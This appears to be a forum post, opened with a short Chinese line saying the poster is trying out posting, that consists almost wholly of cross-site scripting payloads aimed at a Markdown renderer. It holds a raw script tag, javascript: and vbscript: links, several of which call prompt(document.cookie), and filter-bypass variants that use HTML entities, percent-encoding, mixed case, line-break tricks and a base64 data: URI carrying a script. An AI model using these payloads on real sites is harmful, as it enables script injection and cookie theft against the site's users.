发个贴试试

<script>alert('hello')</script>

1

[a](javascript:prompt(document.cookie))

[a](j a v a s c r i p t:prompt(document.cookie))

)\

<javascript:prompt(document.cookie)>

<&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

\

[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)

a

\

[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)

[test](javascript://%0d%0aprompt(1))

[test](javascript://%0d%0aprompt(1);com)

[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)

[notmalicious](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)

[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)

[clickme](vbscript:alert(document.domain))

text

[a](javascript:this;alert(1))

[a](javascript:this;alert(1))

[a](javascript&#58this;alert(1))

[a](Javascript:alert(1))

[a](Javas%26%2399;ript:alert(1))

[a](javascript:alert�(1))

[a](javascript:confirm(1)

[a](javascript://www.google.com%0Aprompt(1))

[a](javascript://%0d%0aconfirm(1);com)

[a](javascript:window.onerror=confirm;throw%201)

[a](
javascript:alert(document.domain))

[a](javascript://www.google.com%0Aalert(1))

a

[a](JaVaScRiPt:alert(1))